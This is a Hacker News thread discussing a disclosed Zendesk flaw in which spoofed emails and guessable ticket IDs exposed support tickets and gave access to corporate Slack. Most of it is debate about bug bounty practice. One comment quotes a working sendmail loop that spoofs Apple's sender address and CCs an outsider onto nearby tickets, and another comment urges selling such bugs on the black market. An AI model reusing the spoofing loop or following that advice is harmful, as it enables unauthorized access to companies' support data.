[HN Gopher] 1 bug, $50k in bounties, a Zendesk backdoor
___________________________________________________________________
1 bug, $50k in bounties, a Zendesk backdoor
Author : mmsc
Score : 1449 points
Date : 2024-10-12 11:55 UTC (1 days ago)
(HTM) web link (gist.github.com)
(TXT) w3m dump (gist.github.com)
| pavlov wrote:
| The edited title on HN is incomprehensible.
|
| The original is:
|
| _"1 bug, $50,000+ in bounties, how Zendesk intentionally left a
| backdoor in hundreds of Fortune 500 companies"_
|
| A better edit might be something like:
|
| "The $50k bug where Zendesk backdoored Fortune 500 companies"
| mmsc wrote:
| It was supposed to be
|
| 1 bug, 50k:
|
| I don't know why the "1" got dropped.
| some_furry wrote:
| HN mangles submission titles.
|
| If you submit "Why I care" it'll decide that you meant 'I
| care".
|
| If you submit "10 More Secrets in Pokemon" it'll decide you
| meamt "More Secrets in Pokemon".
|
| Conversely, there's an entire cottage industry focused on
| writing attention-catching headlines, which results in
| patterns like what HN mangles.
|
| If it's annoying, OP can edit immediately after submitting to
| overwrite the mangled title with the correct one.
| gouggoug wrote:
| That title is also completely misleading because the author did
| not in fact get paid.
|
| 50k corresponds to the money they made with unrelated bug
| bounties.
|
| I wish they would fix the title so that it properly calls out
| zendesk refused to pay for a serious bug.
| masfuerte wrote:
| I understood it to mean that he received $50K from
| enterprises using Zendesk who were vulnerable to this bug,
| but it's not entirely clear.
| cjbprime wrote:
| "Unrelated" doesn't sound right. Zendesk refused to pay for
| the vulnerability, so the researcher used it against
| downstream customers of Zendesk, who did pay the researcher
| for the impact of that Zendesk vulnerability against their
| own company.
| gouggoug wrote:
| Indeed - I misspoke.
| bsuvc wrote:
| It sounds like the author got stiffed by Zendesk on this bug, $0
| due to email spoofing being out of scope.
|
| The $50k was from other bug bounties he was awarded on hackerone.
|
| It's too bad Zendesk basically said "thanks" but then refused to
| pay anything. That's a good way to get people not to bother with
| your big bounty program. It is often better to build goodwill
| than to be a stickler for rules and technicalities.
|
| Side note: I'm not too surprised, as I had one of the worst
| experiences ever interviewing with Zendesk a few years back. I
| have never come away from an interview hating a company, except
| for Zendesk.
| paulpauper wrote:
| That is why a black market exists for this stuff.
| c0balt wrote:
| The black market also exists because the potential payout for
| serious 0days by official programs is almost always less than
| what a third-party adversary will pay (if the target(s) for
| them are worth it).
| omoikane wrote:
| The price for 0days is highly variable according to this
| presentation (starting slide 65):
|
| https://github.com/mdowd79/presentations/blob/main/bluehat2
| 0...
|
| The same presentation also mentions (starting slide 17) how
| the requirements of 0days differs from public research,
| which is why some vulnerabilities would be difficult to
| sell.
| eastbound wrote:
| This. Fortunately the law makes it that it's inconvenient
| (possible prison time) to use the black market, which is a
| big thumb on the balance, but bug bounties are also often
| only $3000...
| yieldcrv wrote:
| Which law makes it a criminal sanction to use a black
| market like darknet marketplaces
|
| Software Exploits arent considered arms it is information
| that can be sold, the liability is on the person that
| does the unauthorized access, the person that steals
| data, the person that uses the data
|
| Hacking syndicates distribute liability akin to any
| corporation
| saagarjha wrote:
| CFAA?
| yieldcrv wrote:
| which puts the liability on the person that does the
| unauthorized access
|
| not about else and especially not for merely browsing or
| using or buying a legal good from a dark net market
|
| as I wrote
| r-w wrote:
| Accessory?
| yieldcrv wrote:
| Relies on intent of the seller, who would need to be
| found via a valid subpoena that needs to pass a threshold
| of cause
|
| who would then argue they also sold it to security
| researchers, journalists and assumed everyone was or
| didnt discriminate or have any intent at all
| saagarjha wrote:
| That's not how this works.
| yieldcrv wrote:
| How does it work, I didnt get another answer from an LLM
| which pretty much never respond without elaborating
| saagarjha wrote:
| You will typically be held liable for who you are selling
| your bugs to. If your bug ends up in the wrong hands you
| can't just say "but I deal with everyone".
| pests wrote:
| Just like the gun manufacturers, right?
| Aachen wrote:
| > Fortunately the law makes it that it's inconvenient
| (possible prison time) to use the black market
|
| Don't forget that most people also simply don't sell
| bugs. They're not for sale in the first place; the bounty
| would be a thank-you or nice bonus, not a replacement for
| selling it
|
| I'm certainly not in a criminal bubble so I can't say how
| big the other side is, but (as a security consultant who
| knows a reasonable number of hackers) I doubt that I know
| anyone who'd choose, after getting no response from the
| company, to sell a bug for profit to a louche party
| rather than going full disclosure and warning everyone --
| or just doing nothing because it's not like it's their
| problem
|
| Edit: nvm someone did come to mind. We tried to steer
| them onto the right path at our weekly CTF team meetings
| but I'm not sure we succeeded. Anywho, still one to a few
| dozen
| exceptione wrote:
| If I am not mistaken, it wasn't zendesk that didn't want to
| recognize the bug, but HackerOne that did not escalate to
| Zendesk that they should reconsider the exclusion ground in
| this case.
|
| As an aside, I wonder if those bounties in general reflect the
| real value of those bugs. The economic damage could be way
| higher, given that people share logins in support tickets. I
| would have expected that the price on the black market for
| these kind of bugs are several figures larger.
| richbell wrote:
| > If I am not mistaken, it wasn't zendesk that didn't want to
| recognize the bug, but HackerOne that did not escalate to
| Zendesk that they should reconsider the exclusion ground in
| this case.
|
| Correct, the replies seem to have come from H1 triage and H1
| mediation staff.
|
| They often miss the mark like this. I opened a H1 account to
| report that I'd found privileged access tokens for a
| company's GitHub org. H1 triage refused to notify the company
| because they didn't think it was a security issue and ignored
| my messages.
| chabons wrote:
| The author specifically stated: "Realizing this, I asked for
| the report to be forwarded to an actual Zendesk staff member
| for review", before getting another reply for H1. I read this
| as they escalated it to Zendesk directly, who directed it
| back to HackerOne.
| johnmaguire wrote:
| It wasn't clear to me as even at that point it was an "H1
| Mediator" who responded.
|
| Also the bit about SPF, DKIM and DMARC seems to show a
| misunderstanding of the issue: these are typically excluded
| because large companies aren't able to do full enforcement
| on their email domains due to legacy. It's a common bug
| report.
|
| In this case, the problem was that Zendesk wasn't
| _validating_ emails from external systems.
| nightpool wrote:
| In this case, that probably means that H1 had a Zoom or
| Slack convo with the team and is relaying their decision
| into text instead of making them write it down
| themselves.
| johnmaguire wrote:
| Yeah probably, but what information did H1 relay to them?
| Did they read the email, or did they get H1's
| interpretation of the bug? Because the SPF/DKIM/DMARC
| stuff really doesn't make sense with context.
| jojobas wrote:
| It doesn't matter if the decision that this bug doesn't
| matter came from a Zendesk employee or Zendesk contractor
| (in this case H1). Zendesk authorized them to make
| decisions on the matter.
|
| The audacity to say "this is out of scope" then "how dare
| you tell anyone else" is something else.
| bigiain wrote:
| > If I am not mistaken, it wasn't zendesk that didn't want to
| recognize the bug
|
| While it's unclear at which stage Zendesk became involved, in
| the "aftermath" section it's clear they knew of the H1
| report, since they responded there. And later on the post
| says:
|
| "Despite fixing the issue, Zendesk ultimately chose not to
| award a bounty for my report. Their reasoning? I had broken
| HackerOne's disclosure guidelines by sharing the
| vulnerability with affected companies."
|
| The best care scenario as I see it is that Zendesk has a
| problem they need to fix with their H1 triage process and/or
| their in and out of scope rules there. And _none_ of that is
| the researcher's problem.
|
| The worst (and in my opinion most likely) scenario, is that
| Zendesk did get notified when the researcher asked H1 to
| escalate their badly triaged denial to Zendesk for review,
| and Zendesk chose to deny any bounty and tried to hide their
| vulnerability.
|
| > As an aside, I wonder if those bounties in general reflect
| the real value of those bugs. The economic damage could be
| way higher, given that people share logins in support
| tickets.
|
| I think it's way worse than that, since internal teams often
| share logins/secrets/API keys (and details of architecture
| and networking that a smart blackhat would _love_ to have
| access to) in thei supposedly "internal" Slack channels. I
| think the fact that non Zendesk "affected companies" paid out
| $50k sets that as the absolute lower bound of "the real value
| of those bugs. And it's _obvious_ that the researcher didn't
| contact _every_ vulnerable Slack-using organisation. I wonder
| how much more he could have made by disclosing this to 10 or
| 100 times as many Slack using organisations, and
| delaying/stalling revealing his exploit POC to Zendesk while
| that money kept rolling in?
|
| I'll be interested to see if HackerOne react to this, to
| avoid the next researcher going for this "second level" of
| bug bounty payouts by not bothering with H1 or the vulnerable
| company, and instead disclosing to companies affected by the
| vulnerability instead of the companies with the
| vulnerability? It's kinda well known that H1 buy bounties are
| relatively small, compared to the effort required to craft a
| tricky POC. But people disclose there anyway, presumably
| party out of ethical concerns and partly for the reputation
| boost. But now we know you can probably get an order of
| magnitude more money by approaching 3rd party affected
| companies instead of cheapskate or outright abusive companies
| with H1 bounties that they choose to downvalue and not pay
| out on.
| mkagenius wrote:
| Hackerone staffs are not that good. They usually mark
| anything from a non famous person as a duplicate (even if it
| differs in nuances, which eventually lead to much more
| impact) or straight out of scope.
|
| I think it's just laziness. Plus they hire previous famous
| reporter as the people triaging the reports, those famous
| people know other famous people first hand, they usually
| think "hmm, unknown guy, must have ran a script and submitted
| this"
|
| I have stopped reporting stuff since last 5 years due to the
| frustration. And it seems the situation is still the same
| even after so many years.
| renewiltord wrote:
| > $0 due to email spoofing being out of scope.
|
| Strictly, $0 because he disclosed to customers. But he only
| disclosed to customers since Zendesk said it was out of scope.
| jeroenhd wrote:
| HackerOne declared the issue out of scope so I don't see why
| disclosure would make a difference here. Had this person not
| notified different companies, they still wouldn't get a dime
| from HackerOne.
|
| Bad showings all around, for both HackerOne and Zendesk.
| mmsc wrote:
| >HackerOne declared the issue out of scope so I don't see
| why disclosure would make a difference here.
|
| Indeed, but just you wait for Zendesk to say "well, _we_
| didn't mark it out of scope!" as if delegating it to h1
| renegades all responsibility.
| justusthane wrote:
| They did, though. The post also quotes a response from
| Zendesk declaring it out of scope.
| cjbprime wrote:
| (There's a not-very-convincing argument that they declared
| the ability to view support tickets as out of scope, but
| were not given a chance to assess the Slack takeover
| exploit's scope.)
| nodamage wrote:
| The Slack takeover exploit is a problem on Slack's end
| (and sounds more like a configuration issue than a bug)
| so Zendesk would not be responsible for that anyway
| though.
| a_dabbler wrote:
| I disagree, the problem is clearly on Zendesks end.
| nodamage wrote:
| Don't get me wrong, Zendesk definitely has their own
| separate problem: you should not be able to CC yourself
| onto an existing support ticket by emailing a guessable
| ticket ID.
|
| But simultaneously you should not be able to get into a
| company Slack by simply having an account with a
| @company.com email address created by a third-party SSO
| provider.
|
| In other words, even in Zendesk fixed their problem,
| Slack would still have a problem on their end.
| gouggoug wrote:
| > Side note: I'm not too surprised, as I had one of the worst
| experiences ever interviewing with Zendesk a few years back. I
| have never come away from an interview hating a company, except
| for Zendesk.
|
| Same thing happened to me years ago. Interviewed with them and
| it was the worst "screening" experience I ever had. After
| getting a rejection email, I thanked them for their time and
| said I had feedback about the interview should they want to
| hear it. They said yes, please.
|
| Sent my feedback, never heard from them again.
| swoorup wrote:
| Same it was time-wasting interview experience. They seem
| interested and not interested at the same time. They pinged me
| for a different role after passing me up for the first role,
| but didn't get any response later..
| layer8 wrote:
| > due to email spoofing being out of scope.
|
| I believe their logic was that only the domain owner can
| adequately prevent email spoofing by proper SPF/DMARC
| configuration, and that it's the customers' fault if they don't
| do that. Which isn't entirely wrong.
| johnmaguire wrote:
| Are Google and Apple not doing proper SPF/DMARC/DKIM? I think
| they probably are - but this attack worked anyway.
|
| Zendesk wasn't validating the email senders.
| layer8 wrote:
| Apple and Google weren't involved as email sender
| addresses.
| johnmaguire wrote:
| Read the repro steps again:
|
| > Create an Apple account with support@company.com email
| and request a verification code, Apple sends verification
| code from appleid@id.apple.com to support@company.com and
| Zendesk automatically creates a ticket
|
| It's a clever attack.
| Thorrez wrote:
| I agree with your point, but that email's not the best
| example because it would have passed SPF/DMARC/DKIM. It's
| a step or two later that involved sending a spoofed email
| from appleid@id.apple.com : const
| sendmail = require('sendmail')(); //
| Assuming the ticket you created in step #2 was assigned a
| ticket ID of #453 // verification email landed
| somewhere near there const range = [448, 457];
| for (let i = range[0]; i < range[1]; i++) { //
| Send spoofed emails from Apple to Zendesk
| sendmail({ from: 'appleid@id.apple.com',
| to: `support+id${i}@company.com`, cc:
| 'daniel@wearehackerone.com', subject: '',
| html: 'comment body', }, function (err, reply)
| { console.log(err && err.stack)
| console.dir(reply) }); };
| johnmaguire wrote:
| This is exactly my point: if Apple has SPF/DKIM/DMARC
| configured correctly, then Zendesk should be validating
| the email sender. That they didn't is technically an
| SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a
| customer misconfiguration issue.
| tryauuum wrote:
| if someone's reading this thread: yes, apple does have
| dmarc / spf $ dig id.apple.com TXT
| +short "v=spf1 include:_spf-txn.apple.com
| include:_spf-mkt.apple.com include:_spf.apple.com
| include:icloud.com ~all" $ dig
| _dmarc.id.apple.com TXT +short "v=DMARC1;
| p=reject; rua=mailto:d@rua.agari.com;
| ruf=mailto:d@ruf.agari.com;"
| hmottestad wrote:
| And it's still out of scope for the HackerOne bug bounty
| program.
| dns_snek wrote:
| Future hackers, take note. If vulnerabilities you
| discover have any chance of being misinterpreted as "out
| of scope" by some bureaucrat at HackerOne, even though
| they're obviously applicable and dangerous, sell them on
| the market instead.
| hmottestad wrote:
| Got a -1 on this comment. Must mean that I'm wrong and
| that it's become part of the scope now!
|
| Maybe someone wants to post a link?
| tryauuum wrote:
| maybe because the issue is not about apple's dns records,
| so the vulnerability is in scope. One could argue the
| issue is in zendesk's feature of adding people with an
| email.
| teddyh wrote:
| They also seem to have DKIM. To find out, first we need
| an authoritative name server for id.apple.com:
| $ dig +short id.apple.com NS ns1-235.akam.net.
| ns1-45.akam.net. asia3.akam.net.
| asia2.akam.net. eur5.akam.net. usw2.akam.net.
| usw6.akam.net. use1.akam.net.
|
| We pick an arbitrary nameserver and see if the _domainkey
| subdomain gives NXDOMAIN or NORERROR: $
| dig +noall +comments +norecurse @ns1-235.akam.net
| _domainkey.id.apple.com TXT | grep HEADER ;;
| ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12521
|
| Good, it gives NOERROR, which indicates the existence of
| subdomains. Just to be sure, we check some other
| arbitrary non-existing subdomain, to see if it gives
| NXDOMAIN as it should: $ dig +noall
| +comments +norecurse @ns1-235.akam.net
| zojglgrcqk.id.apple.com TXT | grep HEADER ;;
| ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 5653
|
| Since it gives the expected NXDOMAIN, this strongly
| indicates that there are DNS records present on
| subdomains of "_domainkey.id.apple.com"; i.e. DKIM keys.
|
| (Of course, if you have ever recieved e-mail from an
| address @id.apple.com, you would see the selector name in
| the DKIM signature header, and could look up the
| corresponding DKIM record directly. The above method is
| for when you don't have access to that.)
| fweimer wrote:
| You don't want to too strict technical validations on
| your helpdesk contact points, though. It's supposed to be
| reachable when things are broken. So it's not as easy as
| just reconfiguring incoming mail relays. You might need
| separate domains for extended validation, or a reliable
| (!) way to relay authentication results to those mail
| endpoints that need it. Come to think of it, presenting
| email validation results to helpdesk staff might be a
| good idea in general.
| tryauuum wrote:
| I wonder how redirects from support@company.com to
| zendesk work? if it's via MX records pointing to zendesk
| that it's zendesk's fault for not checking DMARC If it's
| another type of redirect then yes, you can blame
| customers for not verifying DMARC
| nightpool wrote:
| Right, but I would be really shocked if Zendesk's internal
| email handler was doing any SPF/DKIM/DMARC validation at all.
| So even if a domain has DMARC set up, Zendesk is probably
| ignoring it. Which is probably pretty reasonable given how
| rare DMARC reject/quarantine has been historically
| UncleMeat wrote:
| In a past life I was involved in a bug bounty program. I
| don't think the reasoning is as detailed.
|
| When you stand up a bug bounty program you get a _ton_ of "I
| opened developer tools, edited the js on your page, and now
| the page does something bad" submissions. "I can spoof some
| email headers and send an email to myself that looks like it
| is coming from you" isn't something I've specifically seen
| due to some weird details about my bounty program but it is
| something I would absolutely expect for many programs to see.
|
| So you need a mechanism to reject this stuff. But if that
| mechanism is just "triage says this is dumb" you get
| problems. People scream at you for having their nonsense bug
| rejected. People submit dozens of very slightly altered
| "bugs" to try to say "you rejected the last one for reason X
| but this one does Y." So you create a general policy:
| anything involving email spoofing is out of scope.
|
| So then a real bug ends up in front of the triage person.
| They are tired and busy and look at the report and see "oh
| this relies on email spoofing, close as out of scope." Sucks.
|
| I think that Zendesk's follow up here is crap. They shouldn't
| be criticizing the author for writing about this bug. But I
| do very much understand how things end up with a $0 payout
| for the initial report.
| belter wrote:
| Seems a pattern:
| https://www.reddit.com/r/sales/comments/1eck30a/terrible_zen...
| pm90 wrote:
| I too had the worst interview experience with zendesk. The
| people I talked to were pretty senior folks too. They just seem
| to have a very petty and toxic work culture.
| barbs wrote:
| Mind giving details abut the interview? Must've been pretty
| bad!
| bigiain wrote:
| > That's a good way to get people not to bother with your big
| bounty program.
|
| And possibly to have blackhats to start looking more closely,
| since they now know both 1) that whitehats are likely to be
| focusing elsewhere leaving more available un-reviewed attack
| surface, and 2) that Zendesk appears to be the sort of company
| who'll ignore and/or hide known vulnerabilities, giving
| exploits a much longer effective working time.
|
| If "the bad guys" discovered this (or if it had been discovered
| by a less ethically developed 15 year old who'd boasted about
| it in some Discord or hacker channel) I wonder just how many
| companies would have had interlopers in their Slack channels
| harvesting social engineering intelligence or even
| passwords/secrets/API keys freely shared in Slack channels? And
| I wonder how many other widely (or even narrowly) used 3rd
| party SaaS platforms can be exploited via Zendesk in exactly
| the same way. Pretty much any service that uses the email
| domain to "prove" someone works for a particular company and
| then grants them some level of access based on that would be
| vulnerable to having ZenDesk leak email confirmations to
| anybody who knows this bug.
|
| Hell, I suspect it'd work to harvest password reset tokens too.
| That could give you account takeover for anything not using 2FA
| (which is, to a first approximation over the whole internet,
| everything).
| Avamander wrote:
| This is a common problem with HackerOne and the likes. It's
| absolutely awful for anything even a tiny bit more unique or
| rare.
| ldoughty wrote:
| I hate that Zendesk refused to pay out for this bug. The author
| made a good faith effort to report it. The author also tried to
| escalate it.
|
| After they decided not to work on it, they later came back and
| asked him for more information and treat it like a bug...
|
| Author should have gotten a reward. Did everything right if
| Zendesk claims it's not a in scope bug.
| paulpauper wrote:
| That is how it works. Do nothing so that the researcher breaks
| the rules innadvetedly as an excuse to not pay, and then fix
| the problem.
| m11a wrote:
| Doubtful. It's probably just incompetence, rather than
| malice.
|
| The incident almost certainly cost Zendesk more in (according
| to the gist) lost contracts and reputational damage than it
| would've cost to pay the security researcher a bounty.
| paulpauper wrote:
| lol $0 Companies cutting corners on security also skimp on paying
| bounties. No surprise there. The only possible exception are
| crypto bounties. Those are much bigger and a greater willingness
| to pay due to the stakes.
| napsterbr wrote:
| It's unbelievable that he received no bounty from Zendesk on this
| one. If it was out of scope, then surely he could have published
| it anywhere?
| yfw wrote:
| It's owned by private equity. Slowly cutting costs and bleeding
| the brand dry
| 8b16380d wrote:
| I mean, this existed long before acquisition. Maybe the
| response could have been different in the past, but there is
| nothing to indicate that would be true.
| ciabattabread wrote:
| A demonstration of the ol' adage that in order to solve a
| problem, make it someone else's problem.
| mnau wrote:
| Isn't that the the usual workflow of security researchers?
| maeil wrote:
| A $1.3 billion revenue company being too tight to pay this after
| all, even on their 2nd chance, is so short-sighted it's absurd.
| They're putting out a huge sign saying "When you find a vuln,
| definitely contact all our clients because we won't be giving you
| a penny!".
|
| Incredible. This must be some kind of "damaged ego" or ass-
| covering, as it's clearly not a rational decision.
|
| Edit: Another user here has pointed out the reasoning
|
| > It's owned by private equity. Slowly cutting costs and bleeding
| the brand dry
| paulpauper wrote:
| If the bounty is big enough you basically need to retain a
| lawyer so the whole thing is done right and prevent being
| scammed.
| gavingmiller wrote:
| zendesk is 6k employees, they have general council on staff
| genter wrote:
| I think paulpauper is saying the researcher that finds the
| vulnerability needs a lawyer.
| pphysch wrote:
| I thought the point of bug bounties was to incentivize
| whitehat behavior, not scare them off with legal BS. Lol.
| hinkley wrote:
| Tarpit?
| paulpauper wrote:
| correct
| zer0x4d wrote:
| This is worse than Docusign. What do 6000 people at Zendesk
| do? It's a simple ticket management software with maybe 10
| features
| teaearlgraycold wrote:
| I look at the Docusign building every day and shake my
| head. 20 stories of office space!
| pavlov wrote:
| Software developers being surprised that software
| companies need to do a lot more than just write code is
| kind of like sailors being surprised that global
| logistics involves a lot more than handling a ship.
| appendix-rock wrote:
| Still naive enough to buy into the lie that they can just
| be "left alone to do the REAL work" and a business
| just...spontaneously appears around them.
| ozim wrote:
| Solopreneurs making millions just like Pieter Levels are
| giving wrong impression.
| echoangle wrote:
| I am actually seriously interested in what people there
| do day to day. I'm wondering this about a lot of very
| large companies, I would definitely watch a documentary
| about that.
| ianmcgowan wrote:
| Just re-watch Office Space..
| IggleSniggle wrote:
| Hour-long meetings about whether the copy should read
| "data center," "datacenter," "data-center," or whether it
| is really even correct to say any of these at all. And
| then negotiating with the design folks to fit in the
| extra character. Only to throw it all away because nobody
| thought about the fact that it has to support 5 different
| languages.
|
| I wish I was kidding. Used to work at a place that did
| crap like that, pulling in developers for these time
| sucks because "only they really know the correct
| technical usage for our industry."
| beryilma wrote:
| I had a similar meeting with documentation folks about
| "dataset" vs. "data set". With Google trend charts and
| all... I also wish I was kidding.
| Aachen wrote:
| It's not weird to pick one and keep a consistent style,
| for example by looking at Google or at Wikipedia or some
| other source if the dictionary lists both or neither, but
| to have meetings about it?!
| willcipriano wrote:
| Feels like something the technical writers and copy
| writers should decide around the watercooler if anything.
|
| Smells like being afraid to make a choice, even a tiny
| one.
| biosboiii wrote:
| I work in one of the biggest companies of the world
| (employee and revenue wise) and it's basically a run-off
| reaction of well-articulated desk employees jerking each
| other off that, telling each other that they are so very
| important.
|
| And the common management approach to anything not
| working immediately is "throw another 1.000 employees
| into the project" and the middle-managers measure their
| success by how many employees they are managing so it's a
| train without breaks. Hope it goes bankrupt soon.
| strken wrote:
| At some point, most of your engineering time is spent on
| trying to understand what the previous team did. There's
| probably some engineer at Zendesk banging his head on the
| table because his boss wouldn't let him fix the
| sequential ticket IDs when he found them two months ago.
| bsbsjsusj wrote:
| I work at similar size company. Basically they are like
| most companies building out the next 5 years while also
| keeping the lights on at four nines. There can be a lot
| of depth to product that you dont see. Anyone who says
| "why you need X people" often havn't tried a side hussle
| where you see 360 all the activities involved.
|
| Building at scale without racking up big bill and hitting
| SLAs require a decent amount of effort.
| MangoCoffee wrote:
| I previously worked for a mortgage software startup that
| attracted interest from big banks.
|
| To ease concerns about our scalability and longevity, we
| move from a tiny office to an office with a lot of empty
| space.
|
| This strategic move supposes signaled to prospective
| corporate clients that we were committed to sustaining
| our solution over the long term, rather than just a few
| years but in the end the company went out of business. so
| much for that.
| ozim wrote:
| Yet the same corporate will eat anything that Google or
| MSFT does while we all know they kill projects just like
| anyone else or like any smaller company going out.
| j0hnyl wrote:
| If you google "Zendesk annual revenue" you will find that
| perhaps many of those 6000 employees are doing something
| after all.
| hinkley wrote:
| Big companies are places where you get kudos for only
| taking two weeks to solve a problem you've solved
| elsewhere in two days. To an extent it's Little's Law.
| The latency requires more "CPUs" to handle the traffic.
| to11mtm wrote:
| This is super loud to me RN because some of these "big"
| companies are case studies in Mythical Man Month's "N
| channels of communication" as well as weird flashbacks to
| discussions on costs context switching and schedulers in
| various CS courses.
| hinkley wrote:
| It's throughput versus responsiveness.
|
| If you can't get one story through in a week, you start a
| bunch of them so one finishes every few days.
| pphysch wrote:
| If it's anything like ServiceNow, they have insane
| feature bloat and poor overall software architecture.
| wredue wrote:
| Every single click in ServiceNow takes a full 2 seconds
| to do anything. For a ticketing system. Insane.
|
| What's more insane is that it is still better than the
| vast majority of ticketing software. I don't know what it
| is about ticketing and Helpdesk that it ALwAYs ends up
| like that.
| svdr wrote:
| We are using Helpscout wich is very nice over all. The
| also do not send the weirdly formatted ticket email, with
| 'respond above this line' etc.
| ptmcc wrote:
| > I don't know what it is about ticketing and Helpdesk
| that it ALwAYs ends up like that.
|
| The curse of B2B software is that every new big customer
| wants some custom feature or configuration that is the
| "deal breaker" for their multi-million dollar contract
| signing. And everyone except engineering is eager to give
| it to them because it's not their problem once the ink is
| dry. Support and renewals are the next guy's problem.
| riehwvfbk wrote:
| What's interesting is that Frank Slootman touts this
| transformation as a huge success in his book and talks at
| length about his conflict with Fred Luddy (who originally
| authored the simple ticketing incarnation of the
| ServiceNow monsterblob). The focus on keeping things
| simple is highlighted as an example of nerds' nearsighted
| thinking.
| pphysch wrote:
| I'm sure it's a huge success for the few earning the
| profits from ServiceNow.
|
| Like any SaaS, the more feature boxes you check, the more
| potential customers you can "satisfy". And the worse the
| UX gets for the average user (which then gets driven to
| purchasing more support).
|
| Great for business (the few), terrible for users (the
| many). No contradiction there.
| dewey wrote:
| Let me guess, you could build it over the weekend?
| zer0x4d wrote:
| Never said that, but a competent engineer should be able
| to build like 75% of the main functionality of Zendesk
| over a weekend.
|
| Now, I understand there's probably a lot more to it which
| is why I would expect it to be a company of around 50
| engineers and 150 business/marketing/etc and that's being
| generous.
|
| The hill I'd die on is that, with money not being a
| scarce resource and a technically feasible challenge
| present, a team of 200 should be able to build and
| sustain almost anything in the world. And that's being
| even generous. I think realistically a team of 50 should
| be able to build _almost_ anything
| dewey wrote:
| That's a very HN take but the reality is that the tech is
| usually never the hard part. Selling, supporting, legal,
| all the certifications and enterprise contracts you have
| to do for a product like that are the hard part.
| TZubiri wrote:
| Valuable? Yes Tiring? Sure Hard? I guess
|
| You have to admit it's a very social job, talking with
| lots and lots and lots of people
| SL61 wrote:
| A lot of them are probably sales and support.
| isbvhodnvemrwvn wrote:
| Zendesk is not just one product, they have:
|
| - chat stuff you can embed into your site for user
| support
|
| - managed call center software
|
| - knowledgebase management linking all the other services
|
| - whitelabel consumer forums you can use for offloading
| some of the support
|
| - a shitton of analytics
|
| - sales CRM
|
| - profile platform you can link to various sources of
| information to get info on their activity on your site,
| so that you can use that for support
|
| And there is probably a few more. Sales CRM alone can be
| its own company.
|
| As usual on hackernews there is a lot more to it, but you
| are just not exposed to it.
| mmsc wrote:
| It all makes sense if you consider bug bounties are largely:
|
| 1) created for the purpose of either PR/marketing, or a
| checklist ("auditing"), 2) seen as a cheaper alternative to
| someone who knows anything about security - "why hire someone
| that actually knows anything about security when we can just
| pay a pittance to strangers and believe every word they say?"
|
| The amusing and ironic thing about the second point is that by
| doing so, you waste time with the constant spam of people
| begging for bounties and reporting things that are not even
| bugs let alone security issues, and your attention is therefore
| taken away from real security benefits which could be realized
| elsewhere by talented staff members.
| richbell wrote:
| > you waste time with the constant spam of people begging for
| bounties
|
| A great blog post on the matter https://www.troyhunt.com/beg-
| bounties/
| two_handfuls wrote:
| It's a great read, but it looks like a number of the
| screenshots are missing.
| richbell wrote:
| That's strange, I don't see any missing images. Perhaps
| the Twitter embeds are breaking intermittently?
|
| Edit: nevermind, I see what you mean. Twitter embeds
| work, direct images don't.
| NicoJuicy wrote:
| Our company has a bug bounty program:
|
| - handled with priority, but sometimes it takes a couple of
| weeks for a more definite fix
|
| - handled by the security department within the company ( to
| forward to relevant PO's and to follow up)
|
| The unfortunate thing about bug bounties is that you will be
| hammered with crawlers that would sometimes even resemble a
| DDOS
| fsckboy wrote:
| > _The unfortunate thing about bug bounties is that you
| will be hammered with crawlers_
|
| you mean your product will be hammered by people testing to
| find holes, thus garner the bounty? or some other reason?
| NicoJuicy wrote:
| Yes. Crawlers, security scanners, ...
|
| Eg. Testing all vulnerable wp plugin paths on all
| domains. Multiple times a minute
| NicoJuicy wrote:
| We don't even have WordPress fyi
| j0hnyl wrote:
| It's incredibly hard and resource intensive to run a bounty
| program, so anyone doing it for shortcuts or virtue signaling
| will quickly realize if they're not mature enough to run one.
| ec109685 wrote:
| I don't agree. Bug bounties are taken seriously by at least
| some companies. Where I have worked, we received very useful
| reports, some very severe, via HackerOne.
|
| The company even ran special sessions where engineers and
| hackers were brought together to try to maximize the number
| of bugs found in a few week period.
|
| It resulted in more secure software at the end and a
| community of excited researchers trying to make some money
| and fame on our behalf.
|
| The root cause in this case seems to be that they couldn't
| get by HackerOne's triage process because Zendesk excluded
| email from being in scope. This seems more like incompetence
| than malice on both of their parts. Good that the researcher
| showed how foolish they were.
| dgoldstein0 wrote:
| This feels like a case in the gray area. On the one hand,
| companies need to declare certain stuff out of scope -
| whether they know about it and are planning to work on it,
| or consider it acceptable risk, as the point for the
| company is to help them improve their security posture
| within the scope of the resources they have to run the bug
| bounty program. What's weird here is that the blog author
| found an email problem that wasn't really in that DKIM/SPF
| etc area, and Zendesk claimed that exemption covered it.
| Without a broader PoC to show how it could be weaponized,
| it's hard to say that Zendesk was egregiously wrong here -
| the person triaging just lacked the imagination to figure
| out that it would be a real problem. Hell, later in the
| write up we learn Zendesk does do spam filtering on the
| inbound emails, and so it's not crazy to think a security
| engineer reading the report may assume that stuff would
| cover their butts, when it failed miserably here. (A good
| Engineer would check that assumption though)
|
| That said putting my security hat on, I have to ask - who
| thought that sequential ticket ids in the reply-to email
| address were a good idea? they really ought to be using
| long random nonces; at which point the "guess the right id
| to become part of the support thread" falls apart. Classic
| enumeration+IDOR. So it sounds like there's still a
| potential for abuse here, if you can sneak stuff by their
| filters.
| Thorrez wrote:
| >Without a broader PoC to show how it could be
| weaponized, it's hard to say that Zendesk was egregiously
| wrong here
|
| There was a PoC of how to view someone else's ticket
| (assuming you know the other person's email and
| approximately when the ticket was filed).
|
| >it's not crazy to think a security engineer reading the
| report may assume that stuff would cover their butts
|
| It sounds like they got a report saying "I can spoof an
| email and view someone else's report". Why would they
| assume the spam protection would protect them when they
| have a report saying it's not protecting them?
| dgoldstein0 wrote:
| I suppose my point is "read someone else's ticket" is far
| from the worst case scenario here. It certainly sounds
| like zendesk didn't care to protect ticket contents ...
| Which the more I think about it is pretty egregious, as
| support tickets can include PII.
|
| In general, I do expect for the folks reading hackerone
| reports to make some mistakes; there's a lot of people
| who will just run a vulnerability scanner and report all
| the results like they've done something useful. Sometimes
| for real bugs you have to explain the impact with a good
| "look what I can do with this."
|
| Also, the poster didn't share their submission with us,
| just the responses. So it's hard to know how clear they
| were to zendesk. A good bug with a bag explanation o
| would not expect to get paid
| mmsc wrote:
| >Sometimes for real bugs you have to explain the impact
| with a good "look what I can do with this."
|
| I'm not sure. Anybody that keeps up to date with security
| (e.g. those working in a security team) should know that
| ticketing systems also contains credentials sometimes.
| For example when Okta was breached, the main concern was
| that Okta support tickets contain.... session tokens,
| cookies, and credentials!
|
| https://www.bleepingcomputer.com/news/security/okta-says-
| its...
|
